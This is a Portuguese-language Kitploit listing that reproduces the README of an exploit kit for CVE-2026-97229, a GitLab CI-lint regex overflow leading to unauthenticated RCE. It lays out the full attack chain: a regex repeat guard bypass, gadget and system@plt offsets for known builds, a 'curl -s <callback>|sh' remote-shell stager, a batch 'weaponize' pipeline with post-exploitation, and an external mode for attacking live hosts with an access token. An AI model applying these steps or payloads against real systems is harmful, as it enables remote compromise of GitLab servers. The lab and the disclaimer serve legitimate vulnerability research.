Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-97229-lab — Laboratório Docker e exploit em Python para CVE-2026-97229, um integer overflow no regex Onigmo do GitLab CI-lint não autenticado que leva a RCE, com sondagem, derivação de layout e pós-exploração. | Kitploit
Ferramentas/GitHubGitHub/emc-kk/cve-2026-97229-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoCriptografiaTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsLabs e Prática
GitHubemc-kk/cve-2026-97229-lab

cve-2026-97229-lab

Laboratório Docker e exploit em Python para CVE-2026-97229, um integer overflow no regex Onigmo do GitLab CI-lint não autenticado que leva a RCE, com sondagem, derivação de layout e pós-exploração.

1há 1 diaAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — gravação fora dos limites (OOB write) no regex do lint do GitLab CI → RCE

Apenas para testes autorizados. Use isto apenas contra sistemas que você possui ou que está explicitamente autorizado a testar (escopo de bug bounty, contrato com cliente, seu próprio laboratório). O uso não autorizado é ilegal.

English | 中文

Uma requisição não autenticada ao lint de CI que corrompe o matcher Onigmo e redireciona a execução para um gadget system() dentro de libruby.so:

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

A requisição final não é autenticada, mas plantar a configuração de CI maliciosa exige acesso de escrita a um projeto público (ou a uma instância que permita autorregistro e projetos públicos).


Visão geral

ItemValor
Afetado (testado)19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1
Não explorável19.2.8, 19.3.4 (exceção, ver abaixo), 19.3.5, 19.4.2; 19.2.3 não possui imagem CE
GatilhoGET /api/v4/projects/:id/ci/lint não autenticado
Pré-requisitosalcançabilidade + escrita em um projeto público (token, conta comprometida ou cadastro aberto)
Impactoexecução de comandos como git (uid 998) dentro do contêiner do GitLab
Restrições do PoCbuilds x86_64; o layout é por build de libruby.so, não por string de versão
Limite do advisory19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2

A 19.3.4 está listada como afetada pelo advisory, mas seu libruby.so empacotado nunca entra no caminho de expansão vulnerável — não conseguimos transformá-la em arma (repro/evidence/2026-10-18-full-matrix/).


Início rápido (laboratório)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

Sem conta na nuvem e sem SSH: o laboratório é Docker puro (daemon local, DOCKER_HOST ou um contexto docker). No Docker Desktop adicione --callback-host host.docker.internal.


Como funciona

  1. O operador cria um projeto público e envia um branch contendo um include.rules.exists.regexp elaborado, além de um caminho de repositório de 110 bytes.
  2. A requisição de lint não autenticada compila esse padrão; a repetição de 57 805 é escrita como {5(?#)7805} para que a proteção de repetição do lado do Rails (REPEAT_MAX=1000) não a detecte.
  3. Em builds vulneráveis, o matcher materializa a expansão (~2 GiB); a aritmética de tamanho sofre wraparound e a escrita corrompe a memória adjacente.
  4. O caminho elaborado fornece uma instrução call e o offset de system@plt, redirecionando a VM.
  5. O stager é curl -s <callback>|sh, fornecendo um shell como o usuário de serviço git.

Parte 1 — Reproduzir (laboratório)

1.1 Iniciar um alvo

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

O launcher aplica as configurações de memória que o exploit precisa (sidekiq off, um worker Puma, buffers pequenos do Postgres, --memory 6.5g --shm-size 256m), aguarda a UI e define a senha de root. Veja lab/README.md / lab/README_CN.md.

1.2 Sonda

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
CampoSignificado
httpstatus de GET /users/sign_in
versionversão do GitLab lida a partir do container (null sem acesso ao container)
classclassificação do advisory: affected / patched / not-listed / unknown
libruby_md5identidade de build do libruby.so do container alvo
layoutfinish / gadget / step (apenas quando o build é conhecido ou derivável)
exploitablese um layout está disponível; class=affected não implica isto
layout_sourcetable, derived ou no-overflow-in-build

class: "unknown" significa simplesmente que nenhuma informação de container/versão estava disponível — para um alvo apenas com URL a ferramenta não consegue classificar nem derivar um layout. Ver "Alvos externos" abaixo.

1.3 Exploit

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

Critério de sucesso: lint é dropped(HTTPError) ou http(502) e output começa com uid=998(git). Um 200 com valid:true significa que a build não é vulnerável.

1.4 Matriz de versões

LinhaExplorávelCorrigido / não explorável
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8; 19.2.3 não tem imagem CE
19.3.x19.3.0–19.3.319.3.4 (o matcher nunca expande), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

Evidência por build: repro/evidence/2026-10-18-full-matrix/ (中文).


Parte 2 — Weaponize (alvos autorizados)

2.1 Formatos de alvo

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container é obrigatório para o caminho de exploit atual (libruby/layout + rails runner); layout é uma substituição opcional para builds que a ferramenta não consegue ler.

2.2 Pipeline em lote

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

Para cada alvo, em ordem: probe → exploit → em caso de RCE, pós-exploração (exploit/post/collect.sh; substituir com --post-command-file, desativar com --no-post). --probe-only para após a identificação. Código de saída 0 se algum alvo resultou em RCE.

2.3 Resolução de layout

O payload precisa de três constantes por build (gadget finish, system@plt, passo UTF-8). Ordem de resolução:

  1. layout explícito (0x… 0x… 12345);
  2. tabela md5 verificada (10 versões cobertas);
  3. derivação em tempo real a partir do libruby.so do container via exploit/layout.py.

Todas as builds vulneráveis conhecidas usam apenas dois layouts: 0x486DA9/0x31EE29/1249885 e 0x4885A9/0x31E809/1256138.

2.4 Alvos externos (sem Docker)

--mode external precisa apenas de HTTP e de um PAT (escopo api): cria um projeto público através da API, faz push com oauth2:<token>, dispara o lint não autenticado e remove o projeto em seguida.

python3 exploit/cve97229.py --mode external --targets scope.csv \
  --token glpat-... --scope scope.txt --authorized \
  --callback-host 203.0.113.10 --callback-port 80
Baixar ferramenta